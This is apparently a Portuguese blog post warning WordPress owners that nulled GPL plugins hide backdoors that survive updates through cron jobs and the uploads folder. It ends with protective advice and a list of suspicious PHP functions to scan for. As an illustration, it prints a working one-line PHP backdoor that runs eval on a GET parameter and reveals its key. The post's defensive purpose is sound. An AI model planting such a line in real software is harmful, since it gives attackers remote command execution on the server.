Como os Plugins GPL Infectam seu Site com Backdoors via Updates Automáticos
Você pensa que está economizando ao usar plugins GPL de fontes não oficiais? A verdade é que cada instalação é uma porta aberta para invasores. Os chamados plugins GPL nulled (versões pirateadas com suposto código aberto) são a principal causa de infecção em WordPress hoje. O método é simples: eles inserem backdoors que se mantêm ativos mesmo após você atualizar o plugin legítimo.
Como Funciona o Ataque
O invasor adiciona uma função oculta no arquivo functions.php do plugin ou em um arquivo aparentemente inofensivo como wp-config.php. Essa função se conecta a um servidor remoto para receber comandos. O pior: quando o plugin oficial lança uma atualização, o WordPress baixa e sobrescreve os arquivos, mas o backdoor persiste se estiver em um local não monitorado pelo sistema de atualização, como na pasta /uploads/ ou em um arquivo de cache customizado.
Atualizações Automáticas como Vetor
Muitos sites têm as atualizações automáticas habilitadas. O invasor sabe disso. Ele cria um plugin que, após ser ativado, modifica o arquivo wp-cron.php ou insere um cron job que todo dia baixa uma nova versão do backdoor de um servidor diferente. Assim, mesmo que você delete o plugin original, o cron job reinstala o código malicioso. É um ciclo vicioso que poucos conseguem quebrar.
Exemplo Real de Código Oculto
Imagine um plugin de cache que inclui esta linha no final do arquivo principal: if(md5($_GET['key']) == 'e99a18c428cb38d5f260853678922e03') { eval($_GET['cmd']); }. Isso permite que qualquer pessoa que saiba a chave (a hash é de ‘abc123’) execute comandos arbitrários no servidor. E a hash pode estar escondida em comentários de código, ofuscada com base64 ou dividida em várias partes.
Como se Proteger Agora
- Nunca use plugins de fontes não oficiais: Baixe apenas do repositório oficial do WordPress ou de desenvolvedores confiáveis. Um plugin GPL nulled é sempre uma bomba relógio.
- Desative atualizações automáticas: Faça atualizações manuais após verificar o changelog e, se possível, compare os arquivos com uma versão limpa usando ferramentas como
diffno servidor. - Monitore alterações suspeitas: Use plugins de segurança como Wordfence ou Sucuri que verificam integridade de arquivos e detectam backdoors conhecidos. Mas lembre-se: eles não pegam códigos ofuscados sob medida.
- Revise permissões de arquivos: Garanta que a pasta
/wp-content/uploads/não tenha permissão de execução de scripts PHP. Configure o servidor para bloquear execução de PHP nesse diretório. - Audite seu site periodicamente: Contrate um serviço de pentest ou faça você mesmo uma varredura em busca de funções suspeitas como
eval,base64_decode,systemeexecem todos os plugins e temas.
A economia de alguns dólares hoje pode custar todo o seu negócio amanhã. Sites infectados perdem ranking no Google, têm dados roubados e podem ser usados para atacar outros. A segurança do WordPress começa com a recusa absoluta de plugins de procedência duvidosa. Não seja a próxima vítima.